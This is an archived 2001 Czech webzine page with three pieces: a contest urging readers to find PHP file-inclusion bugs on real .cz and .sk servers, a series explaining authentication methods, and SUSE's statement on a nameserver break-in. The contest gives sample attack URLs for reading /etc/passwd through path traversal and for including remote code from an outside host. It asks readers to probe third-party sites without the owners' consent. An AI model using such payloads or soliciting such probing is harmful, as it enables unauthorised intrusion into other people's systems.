takových chyb, získají zdarma trička underground.cz (která zatím neexistují, ale pracuje

se na nich). přečtěte si podrobnosti a především podmínky soutěže.

předmětem soutěže jsou tzv. PHP bugy, tedy chyby typu naivního includování parametru

zadatelného uživatelem. parametr bývá většinou v samotném URL (např.

http://server.cz/page.php?cenik=../../../etc/passwd) anebo třeba jako (skryté)

parametry formuláře (v tom případě si upravený formulář někde vytvořte a pošlete nám

jeho URL) apod. ... includovat lze buď přímo soubory z lokálního disku serveru, anebo

dokonce vzdálené soubory předané parametrem (např

http://server.cz/view.php?file=http://muj.cz/skript.php), přičemž

naincludovaný kód může být znovu interpretován, či jen zobrazen. soutěž samozřejmě

neomezujeme jen na PHP, obětí může být i jakýkoliv obdobný systém (třeba ASP).

do soutěže budeme počítat jen servery v doméně .cz a .sk a to ještě jen "důležité" servery -

například portály, firemní servery, servery organizací, news servery ... o tom, jestli je

server dostatečně vyznamný, rozhodujeme my (taková jsou holt pravidla, ale budeme se

snažit být objektivní). rozhodně nemůžeme počítat URL jako třeba

http://p89-l.lab.cz/~venca/pecko.php?photo=../../../lilo/bootmessage.pcx

nebo něco v tom smyslu. rovněž pokud se nám bude zdát, že dotyčný si sám chybu vytvořil

na svém serveru, tak to počítat nebudeme (i když v tomto případě nebudeme mít v 99%

případů šanci to poznat).

chyby počítáme jen ty, které lze alespoň trochu považovat za bezpečnostní (anebo třeba

velice humorné) - podaří se vám přečíst soubor z disku, který by rozhodně neměl být

veřejně dostupný (třeba /proc/cpuinfo), podaří se vám na serveru spustit PHP kód (či jiný

kód/příkaz). nebudeme počítat, pokud se vám podaří naincludovat jen soubory v

documentrootu (a ještě třeba jen kočící .php, .html apod.), na které by se dalo třeba i

doklikat normálně či jsou evidentně neškodné ... nemůžeme to specifikovat přesně, ale snad

je z toho zřejmé aspoň rámcově, o co nám jde (a rovněž o tom, zda to URL do soutěže

počítat budeme nebo ne, rozhoduje my - taková jsou pravidla a budeme se snažit být

spravedliví a objektivní). z jednoho serveru budeme klidně počítat i více URL, pokud bude

zřejmé, že se jedná o naprosto jinou chybu (a ne jen o naincludovani jiného souboru

stejnou chybou)). (a mějte trochu fantazii a neincludujte jen samé /etc/passwd :))

zůčastnit se může každý, kdo nějaké takové chyby nalezne. zůčastní se tím, že na adresu

martin.macok@underground.cz pošle email se subjectem PHPBUGS obsahujícím seznam

URL, která našel (URL dostatečně demostrující chybu). posílejte pouze čistě textové

standardní emaily, na každém řadku jedno URL. neposílejte žádné screenshoty, žádné

HTML dokumenty, žádné obrázky, prostě žádné přílohy. emaily nemající subject

PHPBUGS a obsahující tyto přílohy budou ignorovány!!! pokud budete psát v průběhu

soutěže víckrát, tak pište pokaždé se stejnou (platnou!) adresou ve from: ..., jinak si budu

myslet, že jste jiný člověk, i když se jmenujete stejně.

když email přijmu, budu se snažit v co nejkratší době URL ověřit, udělám si screenshoty

(udělám si je sám, v žádném případě mi je neposílejte!!!) a budu vám počítat všechna URL,

která se mi podaří ověřit (pokud to mezitím administrátor stihne opravit, tak je mi líto, ale

taková jsou pravidla, budu se snažit být rychlý, ale nemám čas 24h/7d) a které budou

vyhovovat výše popsaným podmínkám. poté vám pošlu krátkou odpověď, ve které bude

napsáno, která URL počítam a která ne (se stručným důvodem). pokud si přejete zůstat v

anonymitě, tak do emailu připište informaci, jak vás máme nazvat ve výsledkové listině v

případě výhry (třeba nějakou přezdívku). v ostatních případech předpokládáme, že vám

nevadí zveřejnění vaší emailové adresy.

vyhrávají první tři, kterým se podaří v průběhu souteže nalézt těchto chyb (URL) nejvíce -

dostanou tričko. ostatní nejúspěšnější budou zveřejněni a zbytek má smůlu :) pokud budou

někteří z prvních 10 výherců chtít, mohli bychom uspořádat nějaký sraz ...

samozřejmě všechna platná URL a moje screenshoty zveřejníme, takže o zábavu bude

postaráno. abychom byli fér, tak po uzávěrce soutěže všechny postižené

administrátory/webmastery zkontaktujeme a dáme jim 14 dnů na opravu. až potom veřejně

vyhlásíme výsledek soutěže se všemi URL a screenshoty.

od jakéhokoliv nelegálního zneužití těchto chyb se důrazně distancujeme!

nechceme lidi nabádat k hackování, ale spíše prokázat, že tyto chyby jsou velice rozšířené,

je potřeba na ně brát zřetel a nepodceňovat je. myslíme si, že celkový efekt soutěže bude

ve smyslu objevení těchto chyb, uvědomění si těchto chyb administrátory/programátory a

celkové zlepšení bezpečnosti českých a slovenských webserverů.

soutěž začíná právě teď a uzávěrka je 25. února 2001. (26.

února již další příspěvky nepřijímám).

 

autentizace 1 - co to je a k cemu je to dobré

ášetom dosedl <mailto:tomas.dosedel@underground.cz> 14. 2. 2001 (09:01)

urcite už jste nekdy slyšeli slovo autentizace. možná, že to bylo ve spojitosti s pojmem identifikace. co ale tento pojem presne znamená? to se dozvíte v novém seriálu na undergroundu.

vypujcím si dve definice z knihy "anglicko-ceská terminologie bezpecnosti informacních technologií" (autori alena honigová a václav matyáš). pomohou nám získat urcitý prehled, o co vlastne jde.

identification - identifikace - proces, který umožní rozpoznání entity systémem, obvykle za použití unikátních strojove zpracovatelných uživatelských jmen. jména bývají jedinecná, nezamenitelná v rámci urcité skupiny lidí, jejíž rozsah je dán systémovou politikou.

authenticate - autentizovat - overit identitu uživatele nebo entity v systému, vetšinou s cílem rízení prístupu ke zdrojum v systému.

co z toho všeho vyplývá? zcela jasne víme ze zkušenosti, že pri identifikaci zadáváme své uživatelské jméno. tedy, pokud se identifikujeme, prohlašujeme "já jsem pan xyz". pri autentizaci musíme systému nejakým zpusobem dokázat, že opravdu jsme to, co o sobe tvrdíme. metodami, jak to jednoduše a bezpecne dokázat, se bude zabývat celý tento seriál.

dovolím si na tomto míste jednu poznámku. výše uvedený príklad s panem xyz je pouze ilustracní. v praxi mohou nastat i jiné situace, kdy je treba provést autentizaci, než ve vztahu klient-systém. tu a tam je potreba prokázat svou identitu obchodnímu partnerovi (klient-klient) nebo mezi dvema informacními systémy (napríklad v mezibankovním styku, prípadne, at se nepohybujeme v takových výšinách, ve styku dvou pocítacu pri komunikaci prostrednictvím pocítacové síte). v našem seriálu se budeme po vetšinu casu venovat pouze první možnosti - vztah klient-systém. o ostatní možnosti jen tak lehce zavadíme (a vždy na to bude výslovne upozorneno).

autentizace je provádena jedním z následujících základních zpusobu. ke každému zpusobu bude uveden anglický a ceský název a velmi strucné vysvetlení. podrobnejší informace naleznete v dalších dílech seriálu.

klient musí prokázat znalost jistého tajemství. ve vetšine prípadu se jedná o znalost hesla, pin ci podobné veci. možná to bude pro nekteré lidi prekvapení, ale autentizaci znalostí lze provést i tak, že tajemství zná pouze jedna strana. autentizaci znalostí bude venován príští a popríští díl tohoto seriálu. podíváme se na to, jakým zpusobem se pracuje s hesly, na jednorázová hesla, systémy typu výzva-odpoved a podobné "chutovky".

klient se prokazuje vlastnictvím nejakého predmetu. príkladem necht je odznak revizora mestské hromadné dopravy, který se nejprve identifikuje ("já jsem revizor") a následne své tvrzení podporí autentizací ("tady je muj odznak"). v tomto prípade samozrejme záleží na vlastnostech autentizacního predmetu - nepadelatelnost a podobné veci. autentizací vlastnictvím bude venován jeden díl našeho seriálu.

nejnovejší (historicky) a rozhodne velice zajímavý zpusob autentizace. klient se prokazuje nejakou svojí vlastností. jako príklad mužeme uvést napríklad otisk palce, obraz ocní duhovky, dynamiku podpisu a podobne. musíme si uvedomit, že rada osobních charakteristik cloveka se v prubehu života mení (napríklad vzhled obliceje), jiné se mení vlivem nemoci (dynamika podpisu) a podobne. nekteré vlastnosti navíc nejsou zcela jednoznacné (vzhled u identických dvojcat). problému je jiste celá rada, ale v každém prípade bude biometrikám (jak se tento druh autentizace jmenuje) venováno nekolik (slovy dva) díly.

poslední díl našeho seriálu bude venován kombinacím výše uvedených možností, jednoduchému shrnutí a doplnení.

záverem dnešního dílu si povíme, jaké nároky jsou na metody autentizace kladeny, tedy co má splnovat dobrá autentizacní metoda. urcite by mela být dostatecne pohodlná pro uživatele. jiste není nad autentizacní metodu, pri které uživatel vhodným matematickým postupem deseti kilobitové heslo a zadá ho do systému. ale uprímne, kdo by to asi tak delal? pokud je metoda dostatecne pohodlná, bylo by asi vhodné, aby byla i dostatecne bezpecná. k nicemu je metoda, která sice po uživateli vyžaduje stisknutí jednoho tlacítka, ale nezarucuje nijak jeho identitu. výsledkem provedení autentizace by nemelo být nic jiného, než odpoved typu ano/ne - uživatel je/nenÍ tím, za co se vydává. Žádná další data (hesla a podobne) by soucástí odpovedi být nemela.

to je pro dnešek vše, príšte se podíváme na autentizaci znalostí.

 

autentizace 2 - dukaz znalostí 1 - hesla, piny a tak podobne

ášetom dosedl <mailto:tomas.dosedel@underground.cz> 20. 2. 2001 (06:11)

dukaz znalostí je pravdepodobne nejznámejší a nejpoužívanejší formou autentizace. bohužel. co se pod tímto pojmem skrývá?

minule jsme se seznámili se základními pojmy z oboru autentizace uživatelu. dnes se podíváme konkrétne (a podrobneji) na jeden vybraný zpusob - autentizace znalostí. o co presne jde? jde o to, že uživatel prokazující svou identitu zná nejaké tajemství. Casto se jedná o heslo ci pin. znalost tohoto tajemství prokazuje autentizující strane. s touto formou, jak už jiste vetšina z vás poznala, se setkáme na každém kroku - pri prihlašování do e-mailových schránek, pri vybírání penez z bankomatu prostrednictvím platební (kreditní/debetní) karty a tak dále podobne.

podíváme se nejprve na základní verzi tohoto zpusobu - znalost hesla. ctenárum tohoto webzinu asi nemusím pripomínat, že heslo je tajná informace, kterou není dobré nikomu sdelovat. že se nevyplácí psát si heslo na papírek a lepit k pocítaci (videl jsem v mnoha kancelárích, které jsem za život navštívil), ani psát fixem na platební kartu (videl jsem u nekolika lidí, kterí nedokázali pochopit, že když tuhle kartu najdu, bez problému jim "vytuneluji" úcet). heslo je samozrejme dobré zvolit tak, aby bylo co nejjednodušeji zapamatovatelné a co nejhure uhodnutelné. dobré heslo by melo obsahovat alespon osm znaku, z nichž jeden je císlice ci jiný "nepísmenkový" znak. heslo by nemelo být vytvoreno z bežných slov. obzvlášte pak ne ze jmen príbuzných, známých, znacky auta, císla telefonu, rodného císla a podobne. existují (a jsou prístupné na internetu) generátory vhodných a lehko zapamatovatelných hesel. ono je pro potenciálního útocníka mnohem jednodušší, když pohledem na vaše prsty pri psaní hesla "odchytí" heslo 'pepik' než heslo 'n2vurmaj'. stejný rozdíl ve složitosti získání hesla je pri odposlechu síte. zkuste si ve zmeti dat najít heslo pepik a heslo n2vurmaj? co budete spíše považovat za heslo? správné heslo by se melo menit zhruba jednou za dva až tri mesíce, podle duležitosti zdroju, které chrání. jinak casto si bude menit heslo pepík z horní dolní, který ho používá pro prihlášení do systému evidence dojnic v místním jzd, jinak casto ministr obrany, který se autentizuje do informacních systému nato (to jsou samozrejme jen ilustracní príklady).

hesla obecne mají další obrovskou nevýhodu. pokud nekdo nekdy zachytí na síti paket s vaším heslem (nebo ve vztahu systém-systém autentizacní paket), muže ho používat k autentizaci a vydávat se tak za vás. proto rada systému používá takzvaných casových razítek (time-stamp). heslo se proste prosolí (viz dále) nejakým casovým údajem (napríklad soucástí autentizacního dialogu je informace "toto heslo bylo použito 1.1.2001 nekdy mezi 14:00 a 15:00. mimo tuto dobu je heslo neplatné a jedná se pravdepodobne o podvrh." samozrejme, informace je zakódována podle pravidel príslušného protokolu.) i pri zachycení zprávy neautorizovaným uživatelem je riziko zneužití znacne sníženo.

další technikou pro zvýšení bezpecnosti je "prosolení hesel". heslo samotné je doplneno "solí" - napríklad casovým razítkem vytvorení. ze získaného retezce je vytvoren retezec znacne kratší. provádí se to ruznou technikou. jako príklad uvedeme zretezení pomocí algoritmu des, kde vstupem algoritmu je puvodní heslo a ovládacím vektorem pak casová sul. výsledkem je nekolika bitový retezec (bežne 56 bitu), který se používá pro autentizaci. a to už jsme u další metody pro zvýšení bezpecnosti - šifrování hesel.

pro bezpecnost je velmi vhodné, aby se heslo nikde neobjevilo v dešifrované forme. proto jsou hesla ukládána jen v šifrované forme. a casto pouze jako výsledek hashovací funkce puvodního zašifrovaného hesla. pri zadání hesla uživatelem je toto nejprve v pameti zašifrováno, poté vytvoren hash a teprve ten porovnán s uloženým vzorem. pokud se shoduje, je heslo správné. i když se tedy útocník dostane k souboru s hesly, nezíská nic jiného než seznam vzoru, se kterými bude upravené heslo porovnáváno. rozhodne není nikterak jednoduché (v konecném case) získat z výsledku jednocestné hashovací funkce puvodní heslo.

jednorázová hesla (one time password) jsou poslední vecí, na kterou se podíváme v tomto díle. práve proto, že heslo je možno snadno odchytit pri prenosu a použít znovu ve snaze vydávat se za nekoho jiného, byla vyvinuta jednorázová hesla. administrátor systému vytvorí sadu jednorázových hesel pro ruzné úcely a pridelí príslušným klientum - uživatelum. použitím tohoto hesla heslo ztrácí platnost a nikdo ho již nikdy nemuže použít. jako príklad mužeme uvést jednorázové odblokovávací kódy k jaderným hlavicím, které na amerických ponorkách vždy preprogramuje neohrožený agent tajné služby. pokud chcete reálnejší príklad, mužeme se podívat na jednorázová hesla používaná ceskou ebankou (dríve expandia bankou). klient banky si vygeneruje prostrednictvím elektronického osobního klíce jednorázové heslo, které zašle bance jako svuj autorizacní kód.

príšte si povíme neco o autentizaci systému mezi sebou (systém-systém), autentizaci bez šírení tajemství a dalších vecech týkajících se dukazu znalostí.

 

autentizace 3 - dukaz znalostí 2 - neco

navíc

tomáš dosedel 22. 2. 2001 (13:10)

 

v dnešním díle se dozvíme neco málo o dalších metodách dukazu

pomocí znalosti. zameríme se na autentizaci bez šírení tajemství a

autentizaci typu výzva-odpoved. co to vlastne je?

predstavme si situaci, kdy jsme na skautském tábore a držíme

nocní hlídku. (zájemci si dosadí za skautský tábor treba

vojenskou hlídku. já jsem pacifista, takže zustanu u skautu.) pri

hlídce uvidíte na druhé strane tábora podezrelé individuum v

cerném plášti, které o sobe na vaši výzvu (stuj nebo strelím)

prohlašuje (identifikuje se) jako prítel (skautský vedoucí, který

hodlal postrašit své sverence, prípadne vojenský velitel na

obchuzce). jak to ovšem má dokázat, když na tu dálku nemuže

identifikovat, kdo jste vy. copak bude vykrikovat smluvené heslo

jen tak, neznámému cloveku? co když ho nekdo uslyší a

následující noc použije (tomu se lze vyhnout použitím casove

závislých hesel - obdoba jednorázových hesel z minulého dílu) k

tomu, aby se do tábora proplížil? tomu lze zabránit užitím systému

výzva-odpoved.

hlídka (tedy vy) položí jednoduchou otázku, kterou lze prokázat

znalost hesla ("Rekni mi tretí a šesté písmenko z hesla).

protistrana odpoví a podobnou otázku položí vám. Címž se

jednoznacne potvrdí identita obou zúcastnených stran.

v informacních systémech je to sice ponekud složitejší, ale

princip je zhruba stejný. podstatou je, aby útocník i tehdy, pokud

odposlouchává celou komunikaci, nebyl schopen se posléze

vydávat za jednu ze zúcastnených stran. uvedeme si príklad

jednoho systému autentizace typu výzva-odpoved. jedna strana

(a, v literature o kryptografii vetšinou oznacována vtipne alice)

zašle druhé strane (b, oznacované jako bob) náhodné císlo. bob k

nemu pridá casové prosolení (viz minulý díl), zašifruje ho tajným

klícem (který zná jen on a alice) a zašle zpet. alice rozšifruje

zprávu a zjist9, zda se náhodné císlo shoduje. prípadný útocník

odchytí bud tajné císlo (které je mu k nicemu) nebo zašifrované

tajné císlo (v prípade kvalitní šifry je také k nicemu). vhodným

použitím hash funkce se sníží i jedna z mála chyb tohoto zpusobu -

velikost prenášených dat.

další vadou na kráse je pak fakt, že pri existenci vetšího poctu

uživatelu neúmerne roste pocet používaných šifrovacích klícu. to

lze samozrejme vyrešit užitím asymetrické kryptografie, která

redukuje pocet klícu na jeden verejný a jeden soukromý pro

každého uživatele. vhodné je i užití certifikacní autority (nejlépe

dle doporucení normy x.509), která zajistí, že držitel daného klíce

je opravdu osobou, po jejíž autentizaci toužíme.

autentizacní schéma bez šírení tajemství.

v praxi se dostáváme nekdy do situací, kdy je treba prokázat

protistrane svou identitu aniž bychom jí sdelili nejaké tajemství

(heslo a podobne). dejme tomu, že alice používá stejné heslo pro

autentizaci se všemi uživateli. pokud toto heslo sdelí bobovi (což

je nezbytne nutné, aby mohla pozdeji provádet autentizaci), muže

se pak bob za ni kdekoliv jinde vydávat. tento problém reší

systémy bez šírení tajemství - zero-knowledge authentication

scheme. nejcasteji se toto schéma vysvetluje na modelu bytu.

predstavme si byt, který má dva pokoje spojené zamcenými

dvermi (dejme tomu ložnice a kuchyne) a chodbu, spojenou s

obema pokoji odemcenými dvermi. alice vstoupí náhodne do

jednoho zvoleného pokoje, bob vstoupí do predsíne. potom bob

požádá alici, aby vstoupila do predsíne z urcitého pokoje

(náhodne vybraného). alice jako jediná zná tajemství otvírající

dvere mezi kuchyní a ložnicí (vlastní klíc, zná tajné otvírací

heslo, ...). aniž by ho bobovi sdelila, je schopná jeho znalost

prokázat tím, že vystoupí z urceného pokoje.

urcite na tomto míste namítnete, že alice muže být zrovna v tom

pokoji, který bob urcil. inu, po prvním testu overíme identitu

alice s pravdepodobností 1:2. pri dalším pokusu už jde o

pravdepodobnost 1:4 a pri 16 pokusech pak dokonce 1:65536. to

už je docela slušná pravdepodobnost toho, že alice není

podvodník, nemyslíte?

v praxi samozrejme nikdo nenutí chudáka alici, aby procházela až

do úplného zblbnutí dvermi od pokoje. praktické algoritmy jsou

založeny na necem úplne jiném (pro znalce dodávám -

isomorfismus velkých grafu a podobné matematické lahudky).

v príštím díle volného seriálu se podíváme na neco úplne nového.

budeme se zabývat metodou autentizace prostrednictvím

vlastnictví predmetu. pokud vás zajímají cipové karty a tokeny,

urcite príští díl nevynechejte.

 

hacku svých stránek

ýpavel vesel <mailto:pavel.vesely@underground.cz> 4. 4. 2001 (16:56)


zcela exkluzivní informace o pruniku hackeru známých pod jménem binary.division na servery známého ceského distributora suse poskytnul serveru underground.cz jednatel firmy richard jelínek.

ano, hackeri známí pod jménem binary.division se opravdu dostali do našeho nameserveru, kde presmerovali adresu www.suse.cz na jiný server, kde byly vystaveny zmenené stránky. vzhledem k tomu, že doména suse.sk je pouze alias na suse.cz a je ovládána stejným nameserverem, byla postižena i tato doména. v žádném okamžiku se tedy nejednalo o fyzickou zmenu obsahu webových stránek.

prunik byl umožnen díky odchycení hesla bežného uživatele na nameserveru. heslo bylo odchyceno ze ssh komunikace mezi naším nameserverem a pravdepodobne již napadeným serverem, ze kterého se uživatel pripojoval. rootovská práva získali hackeri lokálním útokem na kernelovský ptrace, nebot na serveru bylo jádro verze 2.2.18. této chyby už není možné využít v jádrech 2.2.19 a vyšších.

žádné další informace k pruniku nebudou poskytnuty.

o žádný aprílový žertík ze strany suse tedy v žádném prípade nešlo.

toto vyjádrení bylo autorizováno jednatelem firmy suse cr s.r.o. <http://www.suse.cz/> richardem jelínkem

<rj@suse.cz <mailto:rj@suse.cz>>

 

 

Text pochází z bývalého serveru www.underground.cz

 

TOPlist